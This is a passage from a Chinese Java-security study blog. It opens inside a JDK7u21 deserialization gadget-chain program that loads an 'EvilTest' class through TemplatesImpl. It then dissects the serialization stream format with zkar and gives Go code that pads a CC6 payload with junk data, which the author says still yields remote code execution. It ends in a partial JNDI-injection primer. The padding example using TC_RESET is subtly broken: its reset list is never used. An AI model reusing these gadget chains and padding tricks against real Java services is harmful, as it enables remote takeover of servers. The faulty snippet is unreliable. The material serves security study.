java.io.ByteArrayOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Proxy;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.LinkedHashSet;\nimport java.util.Map;\n\n\npublic class JDK7u21 {\n    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n\n    public static void main(String&#91;] args) throws Exception {\n        ClassPool pool = ClassPool.getDefault();\n        pool.insertClassPath(\"C:\\\\Users\\\\24254\\\\Desktop\\\\java\u7b14\u8bb0\\\\java-top-speed\\\\src\\\\shiroTest\");\n        CtClass clazzz = pool.get(\"EvilTest\");\n        byte&#91;] code = clazzz.toBytecode();\n        TemplatesImpl templates = new TemplatesImpl();\n        setFieldValue(templates, \"_bytecodes\", new byte&#91;]&#91;]{code});\n        setFieldValue(templates, \"_name\", \"HelloTemplatesImpl\");\n        setFieldValue(templates, \"_tfactory\", new TransformerFactoryImpl());\n\n        String zeroHashCodeStr = \"f5a5a608\";\n\n        \/\/ \u5b9e\u4f8b\u5316\u4e00\u4e2amap\uff0c\u5e76\u6dfb\u52a0Magic Number\u4e3akey\uff0c\u4e5f\u5c31\u662ff5a5a608\uff0cvalue\u5148\u968f\u4fbf\u8bbe\u7f6e\u4e00\u4e2a\u503c\n        HashMap map = new HashMap();\n        map.put(zeroHashCodeStr, \"1\");\n\n        \/\/ \u5b9e\u4f8b\u5316AnnotationInvocationHandler\u7c7b\n        Constructor handlerConstructor = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\").getDeclaredConstructor(Class.class, Map.class);\n        handlerConstructor.setAccessible(true);\n        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);\n\n        \/\/ \u4e3atempHandler\u521b\u9020\u4e00\u5c42\u4ee3\u7406\n        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class&#91;]{Templates.class}, tempHandler);\n\n        \/\/ \u5b9e\u4f8b\u5316HashSet\uff0c\u5e76\u5c06\u4e24\u4e2a\u5bf9\u8c61\u653e\u8fdb\u53bb\n        HashSet set = new LinkedHashSet();\n        set.add(templates);\n        set.add(proxy);\n\n        \/\/ \u5c06\u6076\u610ftemplates\u8bbe\u7f6e\u5230map\u4e2d\n        map.put(zeroHashCodeStr, templates);\n\n        ByteArrayOutputStream barr = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(barr);\n        oos.writeObject(set);\n        oos.close();\n\n        System.out.println(barr);\n        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));\n        Object o = (Object) ois.readObject();\n\n    }\n}\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-225813-28-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-225813-28-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">Java\u53cd\u5e8f\u5217\u5316\u534f\u8bae\u6784\u9020\u4e0e\u5206\u6790<\/h1>\n\n\n\n<p>\u8fd9\u91cc\u8fd8\u662f\u7ee7\u7eed\u8ddf\u7740p\u795e\u7684\u6b65\u5b50\u5b66\uff0c\u9996\u5148\u53bbgithub\u4e0b\u4e00\u4e0bp\u795e\u81ea\u5df1\u5199\u7684\u5206\u6790\u5e8f\u5217\u5316\u6570\u636e\u6d41\u7684\u5de5\u5177\uff1a<a href=\"https:\/\/github.com\/phith0n\/zkar\/releases\/tag\/v1.5.1\">https:\/\/github.com\/phith0n\/zkar\/releases\/tag\/v1.5.1<\/a>\uff0c\u9996\u5148\u6211\u4eec\u770b\u4e00\u4e0b\u5e8f\u5217\u5316\u6d41\u7684\u67b6\u6784\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>stream:\n    magic version contents\n\ncontents:\n    content\n    contents content\n\ncontent:\n    object\n    blockdata\n\nobject:\n    newObject\n    newClass\n    newArray\n    newString\n    newEnum\n    newClassDesc\n    prevObject\n    nullReference\n    exception\n    TC_RESET<\/code><\/pre>\n\n\n\n<p>stream\u5c31\u662f\u6307\u5b8c\u6574\u7684\u5e8f\u5217\u5316\u534f\u8bae\u6d41\uff0c\u7531\u4e09\u4e2a\u90e8\u5206\u7ec4\u6210\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>magic<\/code> \u662f\u56fa\u5b9a\u7684\u9b54\u6570\uff1a<code>0xACED<\/code> \uff08\u5373 JAVA serialization \u6d41\u7684\u6807\u5fd7\uff09<\/li>\n\n\n\n<li><code>version<\/code> \u662f\u7248\u672c\u53f7\uff0c\u901a\u5e38\u662f <code>0x0005<\/code>\uff08Java Object Serialization \u7248\u672c5\uff09<\/li>\n\n\n\n<li><code>contents<\/code> \u662f\u540e\u7eed\u7684\u4e3b\u4f53\u6570\u636e<\/li>\n<\/ul>\n\n\n\n<p>\u56e0\u6b64java\u5e8f\u5217\u5316\u6d41\u4ee5 <code>\\xAC\\xED\\x00\\x05<\/code> \u5f00\u5934\u3002<\/p>\n\n\n\n<p>\u63a5\u4e0b\u6765\u662f<code>contents<\/code>\uff0c\u5373\u5185\u5bb9\u5757\uff0c\u5185\u5bb9\u5757\u5b9e\u9645\u4e0a\u662f\u9012\u5f52\u5b9a\u4e49\u7684\uff0c\u5b83\u53ef\u4ee5\u662f\u4e00\u4e2a <code>content<\/code>\u4e5f\u53ef\u4ee5\u662f\u591a\u4e2a<code>content<\/code>\u62fc\u63a5\uff0c\u540c\u65f6<code>contents<\/code>\u662f\u53ef\u9012\u5f52\u7684\uff0c\u56e0\u4e3a\u53cd\u5e8f\u5217\u5316\u6d41\u53ef\u4ee5\u8fde\u7eed\u5199\u5165\u5f88\u591a\u5bf9\u8c61\u3001\u6570\u636e\u5757\u7b49\u3002<\/p>\n\n\n\n<p><code>content<\/code>\u662f\u5177\u4f53\u7684\u5185\u5bb9\u5355\u5143\uff0c\u7531\u4e24\u90e8\u5206\u7ec4\u6210\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>object<\/code> \u662f\u5404\u79cd\u5e8f\u5217\u5316\u5bf9\u8c61\u3002<\/li>\n\n\n\n<li><code>blockdata<\/code> \u662f\u4e00\u5757\u539f\u59cb\u6570\u636e\uff08\u6bd4\u5982\u5199\u5165\u4e00\u4e9bbytes\u6570\u7ec4\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<p><code>object<\/code>\u662f\u5bf9\u8c61\uff0c\u7ec4\u6210\u90e8\u5206\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>newObject<\/code>\uff1a\u65b0\u5bf9\u8c61\uff0c<code>TC_OBJECT<\/code><\/li>\n\n\n\n<li><code>newClass<\/code>\uff1a\u65b0\u7c7b\u63cf\u8ff0\uff0c<code>TC_CLASS<\/code><\/li>\n\n\n\n<li><code>newArray<\/code>\uff1a\u65b0\u6570\u7ec4\uff0c<code>TC_ARRAY<\/code><\/li>\n\n\n\n<li><code>newString<\/code>\uff1a\u5b57\u7b26\u4e32\uff0c<code>TC_STRING<\/code> \u6216 <code>TC_LONGSTRING<\/code><\/li>\n\n\n\n<li><code>newEnum<\/code>\uff1a\u679a\u4e3e\uff0c<code>TC_ENUM<\/code><\/li>\n\n\n\n<li><code>newClassDesc<\/code>\uff1a\u65b0\u7684\u7c7b\u63cf\u8ff0\uff08classDesc\uff0c\u6bd4\u5982 <code>java.util.HashMap<\/code> \u7c7b\u4fe1\u606f\uff09<\/li>\n\n\n\n<li><code>prevObject<\/code>\uff1a\u5f15\u7528\u524d\u9762\u5df2\u7ecf\u51fa\u73b0\u8fc7\u7684\u5bf9\u8c61\uff0c<code>TC_REFERENCE<\/code><\/li>\n\n\n\n<li><code>nullReference<\/code>\uff1a\u7a7a\u5f15\u7528\uff0c<code>TC_NULL<\/code><\/li>\n\n\n\n<li><code>exception<\/code>\uff1a\u5f02\u5e38\u5bf9\u8c61\u3002<\/li>\n\n\n\n<li><code>TC_RESET<\/code>\uff1a\u91cd\u7f6e\u6d41\u72b6\u6001\uff0c\u544a\u8bc9ObjectInputStream\u4e22\u5f03\u4e4b\u524d\u5df2\u7ecf\u7f13\u5b58\u7684\u5bf9\u8c61\u3002<\/li>\n<\/ul>\n\n\n\n<p><code>newObject<\/code> \u548c <code>newClass<\/code> \u90fd\u662f\u7531\u4e00\u4e2a\u6807\u793a\u7b26+ classDesc + newHandle \u7ec4\u6210\uff0c\u53ea\u4e0d\u8fc7 newObject<br>\u591a\u4e00\u4e2a classdata[] \u3002\u539f\u56e0\u662f\uff0c\u5b83\u662f\u4e00\u4e2a\u5bf9\u8c61\uff0c\u5176\u5305\u542b\u4e86\u5b9e\u4f8b\u5316\u7c7b\u4e2d\u7684\u6570\u636e\uff0c\u8fd9\u4e9b\u6570\u636e\u5c31\u50a8\u5b58\u5728<br>classdata[] \u4e2d\u3002\u800c <code>classDesc<\/code> \u53ef\u4ee5\u7406\u89e3\u4e3a\u5bf9 <code>newClassDesc<\/code> \u7684\u4e00\u4e2a\u5c01\u88c5\u3002<\/p>\n\n\n\n<p><code>newHandle<\/code> \u662f\u4e00\u4e2a\u552f\u4e00ID\uff0c\u5e8f\u5217\u5316\u534f\u8bae\u91cc\u7684\u6bcf\u4e00\u4e2a\u7ed3\u6784\u90fd\u62e5\u6709\u4e00\u4e2aID\uff0c\u8fd9\u4e2aID\u7531 0x7E0000 \u5f00\u59cb\uff0c\u6bcf\u9047<br>\u5230\u4e0b\u4e00\u4e2a\u7ed3\u6784\u5c31+1\uff0c\u5e76\u8bbe\u7f6e\u6210\u8fd9\u4e2a\u7ed3\u6784\u7684\u552f\u4e00ID\uff0c <code>prevObject<\/code> \u6307\u9488\u5c31\u662f\u901a\u8fc7\u8fd9\u4e2aID\u6765\u5b9a\u4f4d\u5b83\u6307\u5411\u7684\u7ed3\u6784\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u53ef\u4ee5\u5199\u4e00\u4e2a\u7b80\u5355\u7684demo\u6765\u7528zkar\u8fdb\u884c\u5206\u6790\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package shiroTest;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectOutputStream;\nimport java.io.Serializable;\nimport java.util.Base64;\n\npublic class SerializeTest {\n    public static void main(String&#91;] args) throws Exception {\n        User user = new User(\"Bob\");\n        user.setParent(new User(\"Josua\"));\n\n        ByteArrayOutputStream byteStream = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(byteStream);\n        oos.writeObject(user);\n        oos.close();  \/\/ \u8bb0\u5f97\u5173\u95ed\uff0c\u9632\u6b62\u5185\u5b58\u6cc4\u6f0f\n\n        String base64 = Base64.getEncoder().encodeToString(byteStream.toByteArray());\n        System.out.println(base64);\n    }\n}\n\nclass User implements Serializable {\n    private static final long serialVersionUID = 1L;\n\n    private String name;\n    private User parent;\n\n    public User(String name) {\n        this.name = name;\n    }\n\n    public void setParent(User parent) {\n        this.parent = parent;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public User getParent() {\n        return parent;\n    }\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>zkar.exe dump -B rO0ABXNyAA5zaGlyb1Rlc3QuVXNlcgAAAAAAAAABAgACTAAEbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wABnBhcmVudHQAEExzaGlyb1Rlc3QvVXNlcjt4cHQAA0JvYnNxAH4AAHQABUpvc3VhcA==<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-233709-28-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-233709-28-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u5728\u8fd9\u91cc\u9762\u5c31\u53ef\u4ee5\u770b\u5230\u5f88\u591a\u6211\u4eec\u4e4b\u524d\u5206\u6790\u8fc7\u7684\u4e1c\u897f\uff0c\u6bd4\u5982\u8fd9\u4e2a[]classData \u6570\u7ec4\u4e2d\u6709\u5c5e\u6027 <code>name<\/code> \u548c <code>parent<\/code> \u7b49\u7b49<\/p>\n\n\n\n<p>\u5982\u679c\u6211\u4eec\u60f3\u5411\u6211\u4eec\u7684\u5e8f\u5217\u5316\u6d41\u5305\u542b\u5783\u573e\u6570\u636e\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u4f7f\u7528 <code>content<\/code> \u91cc\u7684 <code>blockdata<\/code>\uff0c\u800c <code>blockdata<\/code> \u5b58\u5728\u4e24\u79cd\u60c5\u51b5\uff1a<code>blockdatashort<\/code> \u548c <code>blockdatalong<\/code>\uff0c\u5f88\u663e\u7136\uff0c\u540e\u9762\u8fd9\u79cd\u80af\u5b9a\u4fdd\u5b58\u7684\u6570\u636e\u4f1a\u591a\u5f97\u591a\u3002<\/p>\n\n\n\n<p><code>blockdatalong<\/code> \u7531\u4e09\u90e8\u5206\u7ec4\u6210\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>TC_BLOCKDATALONG<\/code> \u6807\u793a\u7b26 <\/li>\n\n\n\n<li><code>(int)&lt;size&gt;<\/code> \u6570\u636e\u957f\u5ea6\uff0c\u662f\u4e00\u4e2a4\u5b57\u8282\u7684\u6574\u578b <\/li>\n\n\n\n<li><code>(byte)[size]<\/code> \u6570\u636e\u5177\u4f53\u7684\u5185\u5bb9<\/li>\n<\/ul>\n\n\n\n<p>\u6bd4\u5982\u6211\u4eec\u628a\u6211\u4eec\u4e4b\u524dcc6\u751f\u6210\u7684\u53cd\u5e8f\u5217\u5316\u6570\u636e\u4fdd\u5b58\u5230\u4e00\u4e2acc6.ser\u91cc\uff0c\u7136\u540e\u7528p\u795e\u8fd9\u4e2a\u9879\u76ee\u6765\u586b\u5145\u6076\u610f\u5b57\u8282\uff08\u5176\u5b9e\u5c31\u662f\u521b\u5efa\u4e86\u4e00\u4e2aserz.TCContent\u5bf9\u8c61\uff0c\u7136\u540e\u5728\u4ed6\u7684<code>BLOCKDATALONG<\/code>\u91cc\u5b58\u4e00\u4e2a\u975e\u5e38\u5927\u7684\u6570\u7ec4\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package main\n\nimport (\n\t\"io\/ioutil\"\n\t\"log\"\n\t\"strings\"\n\n\t\"github.com\/phith0n\/zkar\/serz\"\n)\n\nfunc main() {\n\tdata, _ := ioutil.ReadFile(\"cc6.ser\")\n\tserialization, err := serz.FromBytes(data)\n\tif err != nil {\n\t\tlog.Fatal(\"parse error\")\n\t}\n\tvar blockData = &amp;serz.TCContent{\n\t\tFlag: serz.JAVA_TC_BLOCKDATALONG,\n\t\tBlockData: &amp;serz.TCBlockData{\n\t\t\tData: &#91;]byte(strings.Repeat(\"a\", 40000)),\n\t\t},\n\t}\n\tserialization.Contents = append(serialization.Contents, blockData)\n\tioutil.WriteFile(\"cc6-padding.ser\", serialization.ToBytes(), 0o755)\n}<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u8bfb\u53d6\u4e4b\u540e\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\uff0c\u53ef\u4ee5\u770b\u5230\u6210\u529fRCE\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CC;\n\nimport java.io.FileInputStream;\nimport java.io.ObjectInputStream;\n\npublic class DeserializeCC6 {\n    public static void main(String&#91;] args) throws Exception {\n        FileInputStream fis = new FileInputStream(\"cc6-padding.ser\");\n        ObjectInputStream ois = new ObjectInputStream(fis);\n        Object obj = ois.readObject();  \/\/ \u8fd9\u91cc\u5c31\u89e6\u53d1\u4e86\n        ois.close();\n        fis.close();\n\n        System.out.println(\"\u53cd\u5e8f\u5217\u5316\u5b8c\u6210\uff01\");\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250429-000027-28-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250429-000027-28-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:752px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>contents \u91cc\u5373\u53ef\u4ee5\u662f object \u4e5f\u53ef\u4ee5\u662f blockdata\uff0c\u4f46\u662f\u6211\u4eec\u4e0d\u80fd\u628a blockdata \u653e\u5728 object \u524d\u9762\uff0c\u539f\u56e0\u5728\u4e8eJava\u53ea\u4f1a\u5904\u7406 contents \u91cc\u9762\u9664\u4e86 TC_RESET \u4e4b\u5916\u7684\u9996\u4e2a\u7ed3\u6784\uff0c\u800c\u4e14\u8fd9\u4e2a\u7ed3\u6784\u4e0d\u80fd\u662f blockdata \u3001 exception \u7b49\u3002\u6211\u4eec\u4e4b\u524d\u7684\u64cd\u4f5c\u4e4b\u6240\u4ee5\u53ef\u884c\uff0c\u662f\u56e0\u4e3a\u5f53\u65f6\u6211\u4eec\u7684 blockdata \u5728 object \u540e\u9762\uff0cobject\u5904\u7406\u5b8c\u4e4b\u540e\u5176\u5b9e\u5c31\u9000\u51fa\u4e86\uff0c\u6240\u4ee5\u4e5f\u6ca1\u6709\u89e3\u6790 blockdata \u3002\u4e0d\u8fc7 Java \u5728\u5904\u7406 object \u524dJava\u4f1a\u4e22\u5f03\u6240\u6709\u7684 TC_RESET\uff0c\u6240\u4ee5\u6211\u4eec\u5176\u5b9e\u53ef\u4ee5\u5728 TC_RESET \u91cc\u586b\u5145\u6076\u610f\u6570\u636e\uff0c\u8fd9\u6837\u5c31\u80fd\u4fdd\u8bc1\u6076\u610f\u6570\u636e\u5728\u524d\uff0c\u6709\u6548\u8f7d\u8377\u5728\u540e\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package main\n\nimport (\n\t\"io\/ioutil\"\n\t\"log\"\n\n\t\"github.com\/phith0n\/zkar\/serz\"\n)\n\nfunc main() {\n\tdata, _ := ioutil.ReadFile(\"cc6.ser\")\n\tserialization, err := serz.FromBytes(data)\n\tif err != nil {\n\t\tlog.Fatal(\"parse error\")\n\t}\n\tvar contents &#91;]*serz.TCContent\n\tfor i := 0; i &lt; 5000; i++ {\n\t\tvar blockData = &amp;serz.TCContent{\n\t\t\tFlag: serz.JAVA_TC_RESET,\n\t\t}\n\t\tcontents = append(contents, blockData)\n\t}\n\tserialization.Contents = append(serialization.Contents, serialization.Contents...)\n\tioutil.WriteFile(\"cc6-padding-new.ser\", serialization.ToBytes(), 0o755)\n}\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250429-000929-28-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250429-000929-28-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:668px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u81f3\u6b64\uff0cp\u795e\u7684Java\u5b89\u5168\u6f2b\u8c08\u5c31\u7ed3\u675f\u4e86\uff0c\u4ee4\u4eba\u611f\u53f9\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">JNDI\u6ce8\u5165\u57fa\u7840<\/h1>\n\n\n\n<p>JNDI\uff08Java Naming and Directory Interface\uff09\u662f Java \u63d0\u4f9b\u7684\u4e00\u4e2a API\uff0c\u7528\u4e8e\u7edf\u4e00\u8bbf\u95ee\u5404\u79cd\u547d\u540d\u548c\u76ee\u5f55\u670d\u52a1\uff08Naming and Directory Services\uff09\uff0c\u5982\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>LDAP\uff08\u8f7b\u91cf\u76ee\u5f55\u8bbf\u95ee\u534f\u8bae\uff09<\/li>\n\n\n\n<li>DNS\uff08\u57df\u540d\u7cfb\u7edf\uff09<\/li>\n\n\n\n<li>\u6587\u4ef6\u7cfb\u7edf\uff08\u672c\u5730\u547d\u540d\uff09<\/li>\n\n\n\n<li>RMI\uff08\u8fdc\u7a0b\u5bf9\u8c61\uff09<\/li>\n\n\n\n<li>\u6570\u636e\u5e93\u8fde\u63a5\u6c60\uff08DataSource\uff0cJava EE \u4e2d\u5e38\u89c1\uff09<\/li>\n<\/ul>\n\n\n\n<p>\u5b83\u7684\u4e3b\u8981\u4f5c\u7528\u662f\u4f7f\u7528\u7edf\u4e00\u63a5\u53e3\u67e5\u627e\u3001\u7ed1\u5b9a\u548c\u89e3\u9664\u7ed1\u5b9a\u5bf9\u8c61\u4ee5\u53ca\u5b9e\u73b0\u8d44\u6e90\u540d\u79f0\u548c\u8d44\u6e90\u5bf9\u8c61\u7684\u89e3\u8026\uff0c\u547d\u540d\u670d\u52a1\u5c06\u540d\u79f0\u548c\u5bf9\u8c61\u8054\u7cfb\u8d77\u6765\uff0c\u4f7f\u5f97\u6211\u4eec\u53ef\u4ee5\u7528\u540d\u79f0\u8bbf\u95ee\u5bf9\u8c61\u3002jndi\u7684\u4f5c\u7528\u4e3b\u8981\u5728\u4e8e&#8221;\u5b9a\u4f4d&#8221;\uff0c\u6bd4\u5982\u5b9a\u4f4drmi\u4e2d\u6ce8\u518c\u7684\u5bf9\u8c61\uff0c\u8bbf\u95eeldap\u7684\u76ee\u5f55\u670d\u52a1\u7b49\u7b49\uff0c\u6709\u4e86\u8fd9\u4e2a\u540d\u5b57\uff0c\u6211\u4eec\u5c31\u80fd\u7528\u8fd9\u4e2a\u540d\u5b57\u53bb\u8bbf\u95ee\u76f8\u5e94\u7684\u5bf9\u8c61\u3002<\/p>\n\n\n\n<p>\u5728JNDI\u4e2d\u6709\u8fd9\u4e48\u51e0\u4e2a\u5173\u952e\u5143\u7d20\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Name\uff1a\u8981\u5728\u547d\u540d\u7cfb\u7edf\u4e2d\u67e5\u627e\u5bf9\u8c61\uff0c\u8bf7\u4e3a\u5176\u63d0\u4f9b\u5bf9\u8c61\u7684<strong>\u540d\u79f0<\/strong><\/li>\n\n\n\n<li>Bind\uff1a\u540d\u79f0\u4e0e\u5bf9\u8c61\u7684\u5173\u8054\u79f0\u4e3a\u7ed1\u5b9a\uff0c\u6bd4\u5982\u5728\u6587\u4ef6\u7cfb\u7edf\u4e2d\u6587\u4ef6\u540d\u7ed1\u5b9a\u5230\u5bf9\u5e94\u7684\u6587\u4ef6\uff0c\u5728 DNS \u4e2d\u57df\u540d\u7ed1\u5b9a\u5230\u5bf9\u5e94\u7684 IP<\/li>\n\n\n\n<li>Context:\uff1a\u4e0a\u4e0b\u6587\uff0c\u4e00\u4e2a\u4e0a\u4e0b\u6587\u4e2d\u5bf9\u5e94\u7740\u4e00\u7ec4<strong>\u540d\u79f0\u5230\u5bf9\u8c61\u7684\u7ed1\u5b9a\u5173\u7cfb<\/strong>\uff0c\u6211\u4eec\u53ef\u4ee5\u5728\u6307\u5b9a\u4e0a\u4e0b\u6587\u4e2d\u67e5\u627e\u540d\u79f0\u5bf9\u5e94\u7684\u5bf9\u8c61\u3002\u6bd4\u5982\u5728\u6587\u4ef6\u7cfb\u7edf\u4e2d\uff0c\u4e00\u4e2a\u76ee\u5f55\u5c31\u662f\u4e00\u4e2a\u4e0a\u4e0b\u6587\uff0c\u53ef\u4ee5\u5728\u8be5\u76ee\u5f55\u4e2d\u67e5\u627e\u6587\u4ef6\uff0c\u5176\u4e2d\u5b50\u76ee\u5f55\u4e5f\u53ef\u4ee5\u79f0\u4e3a\u5b50\u4e0a\u4e0b\u6587<\/li>\n\n\n\n<li>References\uff1a\u5728\u4e00\u4e2a\u5b9e\u9645\u7684\u540d\u79f0\u670d\u52a1\u4e2d\uff0c\u6709\u4e9b\u5bf9\u8c61\u53ef\u80fd\u65e0\u6cd5\u76f4\u63a5\u5b58\u50a8\u5728\u7cfb\u7edf\u5185\uff0c\u8fd9\u65f6\u5b83\u4eec\u4fbf\u4ee5\u5f15\u7528\u7684\u5f62\u5f0f\u8fdb\u884c\u5b58\u50a8\uff0c\u53ef\u4ee5\u7406\u89e3\u4e3a C\u4e2d\u7684\u6307\u9488<\/li>\n<\/ul>\n\n\n\n<p>\u76ee\u5f55\u4e2d\u5b58\u50a8\u7684\u5bf9\u8c61\u4e3b\u8981\u5305\u62ec\uff1a\u5b98\u7f51\u6587\u6863\u7ed9\u51fa\u5b9a\u4e49<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>CORBA objects<\/li>\n\n\n\n<li>Java serializable objects<\/li>\n\n\n\n<li><code>Referenceable<\/code>&nbsp;objects and JNDI&nbsp;<code>References<\/code><\/li>\n\n\n\n<li>Objects with attributes (<code>DirContext<\/code>)<\/li>\n\n\n\n<li>RMI objects<\/li>\n<\/ul>\n\n\n\n<p>\u5176\u4e2d\u6700\u5e38\u89c1\u7684\u662f&nbsp;<strong>References\u5f15\u7528\u5bf9\u8c61<\/strong>&nbsp;\u548c&nbsp;<strong>RMI\u8fdc\u7a0b\u5bf9\u8c61<\/strong>\u3002<\/p>\n\n\n\n<p><code>InitialContext<\/code> \u662f\u6211\u4eec\u8bbf\u95ee JNDI \u7684\u5165\u53e3\u3002\u521b\u5efa\u5b83\u5c31\u50cf\u62ff\u8d77\u4e00\u4e2a\u7535\u8bdd\u672c\uff0c\u7136\u540e\u6211\u4eec\u5c31\u53ef\u4ee5\u901a\u8fc7\u540d\u79f0\u67e5\u627e\u6ce8\u518c\u7684\u5bf9\u8c61\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Context ctx = new InitialContext();\nObject obj = ctx.lookup(\"rmi:\/\/host\/serviceName\");<\/code><\/pre>\n\n\n\n<p><code>Reference<\/code> 